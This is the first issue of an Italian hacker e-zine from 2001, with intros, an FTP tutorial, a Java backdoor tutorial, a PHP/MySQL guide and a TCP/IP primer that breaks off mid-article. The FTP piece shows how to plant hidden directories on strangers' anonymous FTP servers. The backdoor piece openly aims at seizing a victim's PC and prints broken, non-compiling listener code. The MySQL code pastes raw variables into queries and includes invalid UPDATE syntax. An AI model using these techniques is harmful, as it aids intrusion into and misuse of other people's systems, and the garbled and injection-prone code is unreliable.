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NoFlyZone 01
**************No fly Zone Crew****************
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-------------------------------[E-Zine No 1]-----------------------------------
Member of the NoFlyZone crew are: []LoRd[V]icio[],Crashes,[D]kl,CityHunter,BIGAlex,
_1/2matto,goony,pex3,Quasar,[Evil],R|Ppy,stefan0,
Capitanmidnight,Pregzt...
------------------------------[Menu Articoli]----------------------------------
----------[INTRO]--------------------------------------------------------------
1 Intro a NoFlyZone by []LoRd[V]icio[]
2 Intro alla zine by CityHunter
----------[Hacking]------------------------------------------------------------
3 Public FTP protection by [R|Ppy]
4 Creare una backdoor #1 by Crashes
----------[THEORY]-------------------------------------------------------------
5 MySQL in PHP by BIGAlex
6 TCP/IP #1 by CityHunter
7 Cos'Ë IPV6 by []LoRd[V]icio[]
8 Implementare IPV6 su Linux by Quasar
9 Virtual Private Network by goony & haikia
----------[MISC]---------------------------------------------------------------
10 SNTP by _1/2matto
11 Comandi Linux di base by [Evil]
12 Greetings by NoFlyZone Staff
-------------------------------------------------------------------------------
Mode E-Zine on:
Prima di tutto xÚ:
DISCLAIMER:
Tutto il materiale pubblicato in questa zine Ë di pubblico dominio.
A scopo educativo e di ricerca. Gli autori non si assumono alcuna responsabilit‡
per l'uso di ciÚ che viene spiegato e di eventuali danni.
Consigli x l'uso: accendere il cervello.
--------------------------------[INTRO]----------------------------------------
---------------------------[[]LoRd[V]icio[]]-----------------------------------
Tutto iniziÚ circa 5 mesi fa quando decisi di fondare un chan underground in
irc.Scelto il server,rimaneva il nome del chan,a Dkl venne l'ispirazione:NoFlyZone.
Vedendo il numeroso afflusso di gente interessata al mondo underground e trovando
sul mio cammino ragazzi,ora diventati miei grandi amici di lavoro e nn solo :),
preparati,disposti a impegnarsi x uno scopo comune,decisi di fondare la CRew...
Eccoci qua,il primo numero di una e-zine ke spero nn finisca come molte altre e
ke sia utile anzi utilissima a tutti coloro i quali vogliano conoscere "la rete".
La Noflyzone e-zine tratter‡ diversi argomenti nel modo + kiaro possibile...
Sicurezza // Programmazione // Hacking // Cracking // O.S // ecc // ecc //
X ogni rikiesta,info,lamentela,kiarimento,augurio,complimento,e cose di questo
genere mandate un e-mail a lordvicio@hotmail.com o fate una capatina in Chan..
Tutto questo nn deve essere di incitamento a far cose illegali o creare problemi
ad altre persone ma solo x impararare a difendersi.Vi auguro una buona lettura....
---------------------------------*END*-----------------------------------------
------------------------------[INTRO N›2]--------------------------------------
-----------------------------[City Hunter]-------------------------------------
Oggi Ë il 28 novembre 2001, sono qui a casa, dopo 8 ore di lezione, a cercare
di fare un'impaginazione decente. Sono pieno di interrogativi, perchË non am-
metterlo. Ci tengo molto a questo progetto, Ë da tanto che sono appassionato di
hacking & c. ed Ë solo da poco che ne faccio parte un po' pi˘ attivamente. Su
IRC ho trovato altri con questa passione ed Ë nato questo gruppo. Sono pieno di
speranze e di aspettative per questa zine e mi impegner‡ a fondo. Mi auguro che
resterete soddisfatti dal nostro lavoro!:-)
Questo Ë il numero 1 di una nuova zine...l'ennesima direte voi:-)
"PerchË dovremmo leggerla??" mi sembra gi‡ di sentirvelo dire! Non so perchË,
ma se posso darvi un consiglio sono convinto che qui troverete spesso risposte
alle vostre domande e alle vostre curiosit‡ riguardanti tutto (o quasi;-)) ciÚ
che riguarda il mondo underground. Vi chiedo solo un favore: se avete qualcosa
da dirci, fatelo in modo costruttivo! Se qualcosa non dovesse essere di vostro
gradimento ditelo in modo cortese please!:-) Se qualcosa non vi Ë chiaro non
dovete far altro che contattarci e noi saremo a disposizione. L'ultima richiesta
che ho Ë questa: pensate a ciÚ che chiedete e a come lo chiedete. Sinceramente
incomincio a stufarmi di quelli che mi chiedono < < mi aiuti a bucare una shell?>>
beh...qui cerchiamo di fare qualcosa di buono e con i lamah non vogliamo avere
nulla a che farci, quindi se le domande sono queste please join in /dev/null ;-)
Finita la solita tiritera passo la parola agli articoli, in fondo sono questi a
farvi leggere la zine e non le solite intro:-)
Signori e signore...
No. 1 is Out
----------------------------------*END*----------------------------------------
-------------------------------------[3]---------------------------------------
----------------------------------[[R|Ppy]]------------------------------------
----------------------------[Public FTP protection]----------------------------
***********************
* TuToRi4l ftp: *
* *
* -Directory protette *
* -Files protetti *
* -Directory nascoste *
***********************
20/11/2001
[INDICE]
0xbpi- Break Point Information
0x0pr- Premessa
0x01- Protezioni in NT
0x02- Protezioni in Unix, BSD ...
0x03- Suggerimenti
0xbpi-Break Point Information
=============================
re all, questo Ë il mio primo tutorial in assoluto e sar‡ uno dei tanti che
vi dedicher=, per poter trasmettere le informazioni che riesco a trovare o
a sniffare dalla rete o per esperienza personale.
Ringrazio subitissimo []LoRd[V]icio[] che mi ha fatto entrare nella crew
di Noflyzone (bellissima crew, persone simpaticissime, e colte :pp cheddicci
Vicio) sono molto contento di esserne entrato a farne parne. Sar‡ l'inizio
per una formazione personale in questo campo, ancora sconusciuto sotto certi
aspetti ;( anche se il tempo a disposizione non Ë mai troppo ;)
Un grazie a tutti e W Noflyzone :D
Un salutone a tutta la crew, bye.
0x0pr-Premessa
==============
Eccomi, finalmente posso anche io trasmettere ad altri le mie conoscenze ;)
Protocol inizialing:
Avete mai sentito parlare di Directory protette su Server NT o su Unix? beh
questo Ë il tutorial giusto per imparare a crearne un po'.
Quando noi ci connettiamo ad un FTP ovviamente in anonimo, possiamo avere
accesso a quasi tutte le cartelle. Dobbiamo subito fare una distinzione,
ci sono 2 metodi:
---> 1. Metodo x Microsoft FTP 3.0 - 4.0 - 5.0 - 5.01
---> 2. Metodo x FTP unix che posso essere WU-ftpd GLftp o altri
0x01-Protezioni in NT
=====================
*************
* I› Metodo *
*************
Nello status Windows di FLashfXP notiamo che ci appare il tipo di server ftp
installato:
230 Anonymous user logged in.
SYST
215 Windows_NT version 5.0
PWD
257 "/" is current directory.
Entriamo in ftp con il nostro bel cliente ftp, e diamo un occhiata la struttura
sar‡ la seguente:
10-25-01 07:23PM < DIR >
10-22-01 02:14AM < DIR > # --== Tagged by ß RIPpy ß --==
Le protezioni che possiamo creare sono le seguenti:
Utilizziamo questi nomi per le cartelle protette: COM1 COM2 COM3 COM4 COM5
AUX PRN NUL, anche se a dire il vero per fare uno cosa un po nascosta ci
conviene utilizzare nomi tipo ~tmp oppure _vti_log.
si crea cosÏ: MKD COM1 / / ---> MKD COM1[spazio]/[spazio]/
- poi dobbiamo creare una SUBDIRECTORY sotto la com1:
MKD COM1 /test/ ---> MKD COM1[spazio]/test/
- per poter entrare nella cartella creata dobbiamo inserire tutto il
percorso nel nostro caso:
123.234.255.3/COM1 /test/
[ la stessa procedura si utilizza con le directory normali del tipo:
MKD provaprova / / (protetta) ]
- Altra protezione cartella nascosta (anche se non totalmente)
MKD / /TEST/ --> MKD /[spazio]/[DIR]/ in questo modo nasconderemo
la cartelle, puo essere effettuato solo sulla root del nostro ftp. L'unico
inconveniente Ë questo, se noi ci spostiamo tramite CHD (change dir) / /
entreremo in una specia di root quella invisibile e sar‡ possibile trovare
anche cartelle create da altri utenti ;)
0x02-Protezioni in Unix, BSD
================================
**************
* II› Metodo *
**************
- Ora vediamo il metodo per proteggere le cartelle su sistemi Unix, Bsd ecc...
Dobbiamo fare una piccola considerazione: la stragrande maggiorparte dei
sistesmi unix permette i privilegi di scrittura solo nella cartella INCOMING
qui dovremo nascondere le nostre cartelle all'interno di quella struttura.
- Directory Protetta
(numero spazi).NOMEDIRECTORY;;(numnero spazi)
Es. (6 spazi).testdir;;(5 spazi)
/ .testdir:: /
N.B. con questa protezione per poter entrare nella directory bisogna
sapere il numero di spazi usati prima e dopo, non come il metodo
di NT specificando la cartella successiva
- Directory Invisibile
(spazio)../
ES. / ../ .tagged by;; /scanned by/for []/
/< 1spazio >../....
**********
* Bonus *
**********
Esiste anche una terza protezione, efficace sui files, che funziona
esclusivamente su FTP microsoft ma non su unix, quando poi troveremo un ftp non
deletable non occorre questa protezione dato che i files non si potranno
cancellare OKY????
- Volendo possiamo anche proteggere i files dalla cancellazione dei FUCKING
DELETERS semplicemente rinominando i files uploadati sull'ftp e aggiungengo
la stringa . / /
Es.
Prima Dopo Analisi
mrprn.zip --> mrprn.zip ./ / --> mrprn.zip[spazio]./[spazio]/
0x03-Suggerimenti
=================
Suggerimenti per l'utente:
- cercate di nascondere nel subDIR le vostre cartelle protette e ricordatevi di
controllare il percorso che sia corretto: se voglio creare una cartella in
/~tmp/ciao/ con il flash fxp devo fare MKD COM1 / / e non come vi propone
lui /COM1, altrimenti vi crea la cartella sulla root dell'ftp.
- usate nomi di cartelle che si mimetizzino nell'ambiente, che assomiglino a
quelle gia presenti
- non sempre gli ftp vi danno tutti i permessi, potete trovare di quelli
nondeletable, e persino quelli che non vi fanno vedere il contenuto, Ë
necessario ricordasi le cartelle create.
- NON CANCELLATE MAI NULLA ammeno il pub non sia stato taggato da voi, a quel
punto potrette anche deletare l'ftp :DD
- Ricordatevi ad ogni modo che c'Ë sempre quel qualcuno che Ë in grado di
cancellare le vostre COM1 percui sempre "su con le orecchie" ;)
- Alle volte vi puo capitare che dopo aver eseguito correttamente il login
in un ftp anonimo (chiamiamoli pure PUB) vi venga dato un errore del tipo
Data Socket Error oppure non si ferma su PASV (nella Task Windows di FlashFXP)
e non vi fa piu andare avanti. Non dovete far altro che premere F8 (quick
connect) e spostarsi sulla tendina TOGGLES dopodiche disattivate l'opzione
PASV MODE (passive mode), per l'uso di upload / download verso un ftp non
occorre il pasv mode, nel prossimo tutorial vi spiegher= dove e quando si
puo usare.
Saluti a tutti e buona protezione
See you again.....
byez
----> /\ R|Ppy
mail:rippy2k1@hotmail.com
Ringraziamenti e Saluti: a []LoRd[V]icio[] - Crashes - Quasar e a tutti i
membri della crew!
------------------------------------*END*--------------------------------------
-------------------------------------[4]---------------------------------------
----------------------------------[Crashes]------------------------------------
----------------------------[Creare una backdoor #1]---------------------------
**************************
DA UNA PICCOLA IDEA UN GRANDE RISULTATO
**************************
Prima di presentare il tutorz, un ringraziamento ai miei colleghi d'ufficio ke
con molta pazienza hanno atteso per ore al telefono aspettando ke li rikiamassi
....scusate ma ero assorto in una "nube" di pensiero.
Come preparare un Backdoor:
Dunque, dunque, questo tutor Ë rivolto a tutti quelli ke per qualsiasi ragione
di sfogo, volessero prendere possesso di un qualcosa ke nn gli appartiene, anke
per il semplice gusto di farlo.
Mettiamo prima un po di musica.Ok, di Backdoor ne troviamo molti sulla rete da
SubSeven a BackOrifice ke forse Ë quello pi˘ pericoloso se usato bene, intendo nn
da lamerozzi, cmq la mia idea e quella di molti altri Ë quella di avere un
backdoor semplice veloce poco ingombrante e capace di eseguire qualsiasi Task.
Quale linguaggio utilizzare se non il Java forse uno di quelli + diffusi, e
probabilmente il + compatibile con tutti i sistemi presenti nella rete e
universale (dove lo metti sta e gira...)
Ops, forse sto dimenticando di kiedervi se sapete cosË un Backdoor? Penso di si,
ma per ki nn lo sapesse Ë un code ke attraverso una console sulla Vs makkina vi
permetter‡ di linkarvi con il Pc della vittima. Il resto lo sapete da Voi..Ë
kiaro ke dovete preoccuparvi di sapere se sul PC della vittima ci sia il Java
Runtime!
=== Passiamo alle cose serie: per starmi dietro non dovete essere dei program-
matori Java , basta solo prestare attenzione,per cui articoleremo il tutor in
3 Parti semplici e veloci:
1) Il Server
2) I Plugin
3) Il Client
k, andiamo avanti. Il Server Ë quello ke vi dir‡ quando la Vs vittima Ë Online,
la vittima sar‡ il CLIENT e il Plugin non Ë altro ke quella parte di code ke vi
permetter‡ di operare.Il server user‡ per eseguire le Vs istruzione il
ClassLoader, questo vuol dire ke sar‡ in grado di eseguire qualsiasi cosa voi
decidiate di caricare!!
K, gente cominciamo a buttare gi˘ qualcosa:
import java.io.InputStream;
import java.net.Socket;
import java.net.ServerSocket;
import java.net.URL;
import java.net.URLClassLoader;
// Cominciamo kiamando le varie librerie.
public class BackDoorServer implements Runnable
{
int srvPort;
int inputChar;
// La porta door del server Ë variabile, logicamente sar‡ quella riservata per
// l'input
ServerSocket serverDoor;
Socket commSocket;
// ServerSocket Ë la porta del Server (2323) mentre il Socket Ë dove stabiliremo
// la comunicazione
public BackDoorServer() {
this( 2323 );
}
Thread theDoor = new Thread( this );
theDoor.start();
// Il server partir‡ in Thread e inizializzer‡ la porta 2323
}
public void run() {
try {
serverDoor = new ServerSocket( srvPort );
//Facciamoci un bel socket ke ci terr‡ linkati al Client
Boolean vivo = true;
while( vivo ) {
commSocket = serverDoor.accept();
// Cosa facciamo ora, mandiamo un segnale di 128bit per
//costruirci un Buffer per la comunicazione con il Client
InputStream in = commSocket.getInputStream();
StringBuffer line = new StringBuffer( 128 );
while( (inputChar = in.read()) != -1 )
line.append( "" + ( char ) inputChar );
// Ora avrete una Stringa di ritorno dal Client nel Buffer
String lines = line.toString();
if( lines.equals( "Fottiti!!" ) ) {
// Se la Stringa Ë Fottiti, ti conviene kiudere il Pc e piangere
alive = false;
} else {
{
serverDoor.close();
commSocket.close();
}
PerkË non funziona, cazzo nn Ë possible!!! Ricordate ke cosa vi avevo detto
prima ??ke cosa manca ? Il Plugin!!!! Mikioni..bisogna avere il plugin ma
questo Ë un argomento ke affronteremo la prox volta ok? Nel frattempo salvate
il file ke avete scritto come vi pare: chiamatelo Backdoor.Java o Mentor.java
insomma fate un po' voi e compilatelo. Ci sentiamo la prossima volta gente!
SALUTI: alla crew, al chan #NoFlyZone #Warez-Planet in particolare a:
/\ LordVicio /\/\LoNeWoLfDeN /\/\ /\/\Cristian84 /\/\ DArklines /\
/\ BigaLex /\/\ Marsio /\/\
********** www.noflyzone-crew.cjb.net **********
********** irc: irc.azzurra.it 6667 #NoFlyZone **********
_____________________________________
[ ]
[ Copyright (C) 2001 ]
[ ]
[ Crashes - rocket@freemail.it ]
[_____________________________________]
------------------------------------*END*--------------------------------------
-------------------------------------[5]---------------------------------------
----------------------------------[BIGAlex]------------------------------------
-------------------------------[MySQL in PHP]----------------------------------
Salve a tutti...dato che in tantissimi mi chiedevano di scrivere una nuova guida
(e-zines ecc ecc), ho pensato di scrivere un tutorial su come utilizzare il
MySQL con il PHP. Il MySQL Ë un database che Ë possibile interrogare dall'
interno del codice PHP per rendere pi˘ dinamiche le proprie pagine web. Ho deciso
tuttavia di scrivere il tutorial per tutti coloro che abbiano gi‡ un minimo
fondamento di PHP (il PHP Ë grande ed io nn ho abbastanza tempo per trattarlo
tutto :), anche perchË esistono gi‡ moltissime guide che trattano del PHP,
tuttavia molto poche sono quelle che trattano del MySQL, ed ancor di meno quelle
che lo fanno in modo chiaro. Per questo ho quindi deciso di scrivere questo
tutorial.
++++§§} Comandi basilari del MySQL {§§++++
Prima di pensare ai comandi basilari del MySQL, dovreste conoscere la struttura:
in pratica un database contiene delle 'tabelle' che a loro volta contengono
'righe' e 'colonne'.
Non Ë possibile scrivere in un database se prima non si costruisce una tabella
ed, all'interno della tabella, delle colonne. Le righe possono essere inserite
dal PHP quando l'utente che visita un determinato sito web decide ad esempio
di registrarsi al sito, inviando i propri dat che vengono appunto salvati in
delle righe.
Se non sapete come costruire tabelle, vi rimando all'help di MySQL o allo script
di gestione dei database PHPMyAdmin,ottimo per la configurazione dei database
in locale ed in remoto.
Passiamo ora ai comandi di base del MySQL:
i comandi di base del MySQL sono pochi: quelli che occorrono per inserire righe,
modificarle ed eliminarle.
Un altro comando indispensabile, Ë SELECT. Vedremo anche l' utilizzo di quest'
ultimo.
Per inserire una riga occorre richiamare il comando INSERT INTO.
Ad esempio, vogliamo inserire due variabili nella tabella 'utenti' che contiene
due colonne: 'user' e 'pass'. Le variabili che voglio inserire sono $user e $pass.
Il comando da lanciare sar‡:
INSERT INTO utenti (user, pass) VALUES ('$user', '$pass');
(nel PHP non occorre inserire il ; dato che viene fatto in automatico. Se
inserite un ; riceverete un errore e probabilmente si bloccher‡ l'esecuzione
dello script).
Per modificare una riga (che quindi gi‡ esiste), dovete usare il comando UPDATE.
Mettiamo ad esempio che io abbia una tabella chiamata 'utenti' che abbia all'
interno tre colonne: user email e pass. L'utente vuole modificare l'email e la
password. Abbiamo cosÏ tre variabili: $user, $email e $pass. Lanciamo quindi il
comando per aggiornare il nostro database:
UPDATE utenti (email, pass) SET ('$email', '$pass') WHERE user = '$user';
In questo modo sostituiremo la vecchia password e la vecchia email con i nuovi
dati fornitici dall'utente. (Il WHERE verr‡ trattato in seguito)
Per eliminare una riga, utilizzeremo invece il comando DELETE. Per utilizzare il
comando DELETE, come anche con UPDATE, abbiamo bisogno di una variabile che
indichi al database quale riga eliminare, quella che quindi passeremo a 'WHERE',
cioË la condizione con la quale il database pu= decidere se eliminare o meno una
determinata riga. In questo caso, utilizzeremo la variabile $user, che corri-
sponde alla colonna user della tabella utenti (il nome utente in genere Ë unico
e quindi dovremmo essere sicuri di eliminare un unico valore, quello legato a
quell'utente).Il comando da utilizzare sar‡ quindi:
DELETE FROM utenti WHERE user = '$user';
In questo modo tutte le righe con il valore user coincidente con la variabile
$user verranno eliminate.
Passiamo ora al comando SELECT: questo comando serve a visualizzare delle righe,
in modo da poter ad esempio leggere username e pass per poter effettuare un
login. Mettiamo ad esempio di voler leggere i valori di tutte le colonne (*)
della tabella utenti (e dato che non utilizziamo la condizione, cioË WHERE, ci
verranno proposte anche tutte le righe). Dovremo quindi utilizzare il comando
SELECT * FROM utenti;
In questo modo riceveremo in una variabile PHP tutte le righe con tutti i valori
della tabella utenti.
Nel caso in cui volessimo prendere un solo account, possiamo invece usare la
condizione WHERE user = '$user'. Vediamo cosa accade:
SELECT * FROM utenti WHERE user = '$user';
In questo modo riceveremo tutte i valori di tutte le righe che hanno nella
colonna user il valore della variabile $user.
Vediamo ora invece com'Ë possibile inviare con il PHP le query che permettono
di inserire, modificare, cancellare e visualizzare righe.
+++§§} I comandi PHP per MySQL {§§+++
I comandi per utilizzare i database sono relativamente pochi:
il primo, il pi˘ facile e quello pi˘ importante Ë quello relativo alla connes-
sione al database (eheh). Il comando da inserire nel PHP Ë mysql_connect(host,
user, pass).
Con questo comando ci colleghiamo quindi ad un server con hostname (o ip)
'host', nome utente 'user' e password 'pass'.
Faccio subito un esempio:
mysql_connect("localhost", "bigalex", "ciauzz");
Fatto questo, se il login e l'hostname sono corretti mi collego ad un server.
Per controllare l'avvenuta connessione, il PHP pu= creare una variabile in cui
imposta valore 1 se la connessione ha avuto successo, altrimenti valore nullo.
Per controllare, quindi posso fare cosÏ:
$var = mysql_connect("localhost", "bigalex", "ciauzz");
Per controllare l'avvenuta connessione aggiungo una riga...
if (!$var) { echo "Impossibile collegarsi al database"; exit; }
Et voil‡...se non si collega, esce dallo script avvisandomi.
Continuiamo il nostro tour nel mondo del MySQL :)
Il secondo comando (fondamentale) Ë mysql_select_db(database).
Questo comando ci consente di selezionare un database su cui operare. Per sele-
zionare un database, basta richiamare il comando inviando come variabile
database, il nome del nostro database, un esempio rapido di questo comando Ë
mysql_select_db("prova");
Passiamo ancora avanti...ora possiamo fare una query al database. Il comando per
eseguirla Ë mysql_query(sql);
Questo comando restituisce una variabile con il risultato
della query (ad esempio con $result = mysql_query($sql); abbiamo in $result il
risultato della query).
Proviamo subito a fare una semplice query. Avendo un database chiamato prova ed
una tabella chiamata utenti con all'interno due campi: user e pass. E'sottointeso
che nel database ci debbano essere delle righe, altrimenti non possiamo richie-
dere alcun valore! :)Ad esempio, un utente si Ë registrato col nick bigalex.
Vogliamo vedere la sua password per effettuare il login.
mysql_connect("localhost", "username", "password");
/ * essendo in localhost Ë praticamente sicuro che
avvenga la connessione :) * /
mysql_select_db("prova");
$result = mysql_query("SELECT * FROM utenti WHERE nick = 'bigalex'");
Abbiamo ora il risultato nella variabile $result. Fin qui tutto ok, ma come
facciamo a leggerlo? Facendo echo $result non Ë possibile essendo un risultato
di una query MySQL. Come si fa allora? E beh si utilizza un comando del PHP
per leggere le variabili in MySQL, no? ;D
ihihih...allora...per leggere i risultati delle query di MySQL basta usare il
comando mysql_fetch_row(result). Questo comando restituisce un array con tutti
i campi selezionati (in questo caso *, quindi tutti).
Un esempio:
$row = mysql_fetch_row($result);
Avremo quindi in $row tutte le colonne richieste nella query. Nel caso in cui le
righe siano pi˘ di una, bisogna richiedere per ogni riga un mysql_fetch_row.
Procediamo con un esempio:
// esistono pi˘ righe nel risultato $result!
while ($row = mysql_fetch_row($result))
{
echo "$row[0] -> $row[1]< br >\n";
}
In questo modo per ogni riga ci verr‡ mostrato la prima colonna, una freccia, e
la seconda colonna.
Nel caso in cui vogliamo invece inserire, modificare o cancellare delle righe,
ci possiamo affidare al comando mysql_query.
Questo comando infatti non consente solo di mostrare delle righe, ma di fare
query di qualsiasi genere.
Una volta fatta una query ed ottenuta una variabile (mettiamo ad esempio $result),
possiamo vedere se la query ha avuto effetto su una o pi˘ righe (ci viene dato
il numero esatto delle righe sulle quali ha avuto effetto quella query).
Procediamo sempre con un esempio:
// dopo aver avuto $result
echo "La query ha avuto effetto su " . mysql_affected_rows();
Questo comando tuttavia non vale per il comando SELECT. Per quest'ultimo bisogna
usare mysql_num_rows($result).
Volendo Ë possibile assegnare ad una variabile il risultato dei 2 comandi e
verificare semplicemente che il valore sia maggiore di 0, in modo da verificare
l'avvenuto aggiornamento senza badare al numero di righe su cui ha avuto effetto
la query.
Per essere pi˘ chiaro faccio un esempio:
$num_righe = mysql_num_rows();
if ($num_righe > 0) echo "Il comando ha avuto effetto";
else echo "Il comando non ha avuto effetto";
Con questo termino il tutorial, ricordandovi di chiudere la connessione al
database con mysql_close();
Nota dell'ultimo minuto: nella costruzione del mio sito, ho avuto dei problemi
con le virgolette: se ci fate caso, inserendo una virgoletta in un INSERT INTO
si possono avere vari problemi di sicurezza, anche seri!! Per questa ragione i
coders del PHP hanno inserito un comando mooolto utile per tutti coloro che
giocano come noi con i database :)
Il comando Ë addslashes e funziona nel seguente modo:
bisogna assegnare ad una variabile il risultato del richiamo di addslashes
(variabile). Il risultato sar‡ compatibile con il MySQL.
Esempio:
$variabile = addslashes($variabile);
In questo modo aggiungiamo semplicemente dei backslash prima delle virgolette,
degli apostrofi e dei backslash, aggiornando la variabile $variabile con il
nuovo codice compatibile con MySQL.
Esempio pratico:
$variabile = "abc c'Ë \\comp";
$variabile = addslashes($variabile);
echo $variabile; //ora $variabile sar‡ diventata "abc c\'Ë \\\\comp"
++++§§} Saluti {§§++++
In un tutorial pu= mancare tutto, tranne che i saluti :)
Allora, cominciamo dai tank commandos, mighty, il nuovo arrivato ValK, spyro,
e tutti gli altri ke nn vedo mai, poi, marsio, la #noflyzone, goliath, aladdin,
an4chr0n (ringraziandolo x il logo in flash 5 x il mio sito), blacksoul,
dionakra, crashes, e4m, quasar, raptor,shisha, [elektro], sindon2k
(che sta facendo il militare), thegass, x[morph]x, holaz, `advanced, delilah,
xpterminator, mezzomatto,_kome_, {kurt} ed omega (iihih, chi nn c'era qua, nn
c'era neppure nei log del mirc ;D )(sono offesissimo!!ndCityHunter)
Per eventuali chiarimenti mi trovate in chat su azzurranet al canale #hack o
alla mail totalmeltdown@libero.it
byezz all!
--
BiGAlex
Everyday is a strike 4 my head!
E-Mail: totalmeltdown@libero.it
SiTE: bigalex.cjb.net (f2s sucks!!!)
------------------------------------*END*--------------------------------------
-------------------------------------[6]---------------------------------------
---------------------------------[City Hunter]---------------------------------
----------------------------------[TCP/IP #1]----------------------------------
Hola a tutti!Eccoci qui con il mio primo tutz per questa nuova zine a cui
auguro un ottimo successo! Questo 1› articolo tratter‡ le fondamenta dei
protocolli TCP/IP per poi proseguire nei prox tut in vari approfondimenti
e usi pi˘ maliziosi(spoofing e frammentazione dei pakketti).
Iniziamo coi ringraziamenti:LordVicio per avermi fatto entrare nel gruppo
e a tutti i membri del NfZ e non: XpTerminator,Deli,Marsio,BIGAlex,e poi...boh??
Mi raccomando,diamoci dentro!
Ok...iniziamo subito!
Prima una piccola intro:
+----------------------------------------+
| Protocolli dello strato rete |
+----------------------------------------+
A questa categoria appartengono non solo l'IP ma anche tutti quei protocolli
che, come il suddetto, forniscono un servizio di distribuzione dei datagrammi
e non quello di trasporto e controllo.
+-------------------------------+
| IP(una prima introduzione) |
+-------------------------------+
Come detto sopra Ë il protocollo atto alla distribuzione dei datagrammi. E' un
protocollo inaffidabile e senza connessione. Inaffidabile perchË non vi Ë alcun
controllo sull'effettiva ricezione dei pacchetti inviati e senza connessione,
cioË ogni pacchetto ha vita propria, indipendente dagli altri generati dallo
stesso host.
+-------------+
| ICMP |
+-------------*
ICMP sta per Internet Control Message Protocol. Come visto sopra l'IP non d‡
alcuna conferma dell'arrivo del pacchetto o di altri errori. L'ICMP serve agli
host a informare i loro corrispondeti di un errore,di un eventuale cambiamento
nelle tabelle di routing o ad effettuare test di raggiungibilit‡ (il comando ping
per es).Gli ICMP viaggiano incapsulati nei pacchetti IP quindi purtroppo sono
soggetti agli stessi problemi dell'IP...possono essere perduti,duplicati e
quant'altro.
+-----------+
| ARP |
+-----------+
ARP sta per Address Resolution Protocol e serve a determinare gli indirizzi
fisici che l'IP utilizzer‡ per trasmettere i messaggi sulla rete locale.
Non Ë questa la sede per trattare meglio questo argomento...magari pi˘ avanti ne
parler=.
+------------------------------------------------+
| Protocolli dello strato trasporto |
+------------------------------------------------+
A questo strato appartengono i due protocolli normalmente usati per le comuni-
cazioni:
il TCP e l'UDP.
Partiamo da quest'ultimo.
+-------+
| UDP |
+-------+
l'User Datagram Protocol Ë un protocollo utilizzato principalmente all'interno
di una singola rete in modo tale che la percentuale di successo della trasmis-
sione sia ottima. Questo Ë fondamentale perchË,come l'IP, anche l'UDP non forni-
sce alcuna garanzia sull'arrivo ecc(vedi problemi dell'IP). Questi problemi
vengono minimizzati dal programma che usa l'UDP. Viene usato perchË Ë un
protocollo relativamente snello, libero cioË dagli appesantimenti necessari al
controllo degli errori.
+-----+
| TCP |
+-----+
Questo protocollo Ë progettato per fornire un servizio affidabile di consegna di
una sequenza arbitraria di bit.
TCP Ë ci= che ci permette di trasferirei nostri file senza perdite di
dati(cosa che sarebbe molto probabilemente accaduta se avessimo usato solo IP),
che d‡ vita ai vari servizi quali Telnet, FTP, Http ecc.(se vi interessa la spe-
cifica ufficiale Ë nell'RFC 793).
Ok...qui finisce la parte pi˘ generale. Ora ci immergiamo nel dettaglio del TCP/IP
+--------------------------------------+
| The magic word of IP protocol |
+--------------------------------------+
Questo Ë il protocollo principale del set TCP/IP.
Abbiamo detto che fornisce un servizio inaffidabile, cioË che non garantisce l'
arrivo e il corretto ordine dei dati trasmessi. Come vedremo in seguito importan-
tissimo per lo spoofing e la gestione dei raw_socket Ë la gestione dell'header IP.
Diamoci un'occhiata:
+---------------------------------------------------------------+
|Version| IHL |Type of Service| Total Length |
+---------------------------------------------------------------+
| Identification |Flags| Fragment Offset |
+---------------------------------------------------------------+
| Time to Live | Protocol | Header Checksum |
+---------------------------------------------------------------+
| Source Address |
+---------------------------------------------------------------+
| Destination Address |
+---------------------------------------------------------------+
| data |
+---------------------------------------------------------------+
| option |
+---------------------------------------------------------------+
Version: beh...ovvio no? La versione dell'IP.
IHL: lunghezza dell'IP.
Total Length: lunghezza totale dell'IP.
Identification: serve a distinguere il pacchetto dagli altri inviati dallo stesso
sistema.
TTL: Ë il numero massimo di router attraverso cui il pacchetto pu= passare. Quando
arriva a 0 il pacchetto viene scartato.
Checksum:vedi dopo(nel paragrafo TCP).
Flags e Offset: servono per la frammentazione dei pacchetti.
Gli altri due vi arrangiate:-))
Data e option: beh...i dati e le eventuali opzioni.
+--------------------------------------+
| The magic word of TCP protocol |
+--------------------------------------+
Il TCP ha il compito di trasformare i dati in datagrammi pi˘ piccoli e poi,una
volta giunti al destinatario, riconvertirli nel formato originale. Inoltre
rimanda i dati persi al destinatario dove i dati ricevuti vengono riassemblati
nel corretto ordine.
Il trasferimento dati avviene in modo bufferizzato, cioË prima di effettuare una
trsmissione attraverso IP, il TCP attende di aver riempito un'area di memoria
(buffer appunto) con una quantit‡ di dati che valga il costo della trsmissione:)
C'Ë ancora da tener presente che tutti i dati TCP sono incapsulati in un
datagramma IP:
+----------------------------------------------------------------------------+
| | | |
| IP Header | TCP Header | TCP Data |
| 20 bytes | 20 bytes | |
| | | |
+----------------------------------------------------------------------------+
Tutti e tre assieme formano il datagramma IP, gli ultimi due(quelli che ini-
ziano con TCP per intenderci) il segmento inerente al TCP
Qui guardiamo con attenzione il TCP Header:
+------------------------------------------------------------------------------+
| 16 bit per la porta di partenza | 16 bit per la porta di destinazione|
+------------------------------------------------------------------------------+
| 32 bit SEQ number |
+------------------------------------------------------------------------------+
| 32 bit ACK number |
+------------------------------------------------------------------------------+
|4 bit | |U|A|P|R|S|F| |
|lunghezza |Reserved |R|C|S|S|Y|I| 16 bit window size |
|header |6 bit |G|K|H|T|N|N| |
+------------------------------------------------------------------------------+
| 16 bit checksum | 16 bit urgent pointer |
+------------------------------------------------------------------------------+
| option |
+------------------------------------------------------------------------------+
| data |
+------------------------------------------------------------------------------+
Ok...direi che alcune parti sono abbastanza chiare...cmq diamo un piccola spie-
gazione
I primi due campi sono i bit(16) dedicati alla porta di partenza e alla porta di
comunicazione(es:io(190.69.69.69) dalla mia porta 23 mi collego a pippo
(120.33.33.33) alla sua porta 21...23 e 21 sono le porte. Esempio un po' del
cazzo...cmq rende l'idea!)
I due campi da 32 bit sono importantissimi per lo spoofing e sono il numero di
sequenza ed il numero di riconoscimento(appunto SEQ e ACK).
I 4 bit sono le dimensioni massime dell'Header TCP.
6 bit riservati e poi le flag che identificano di volta in volta il comportamento
di TCP all'interno della connessione(sarebbero tutte quelle letterine).
16 bit per le window. Questo specifica il numero di byte che ogni lato Ë disposto
ad accettare. Faccio un esempietto(odierete i miei esempi alla fine del tutz:-))):
appena il computer riceve i dati, lo spazio nel campo Window decresce indicando
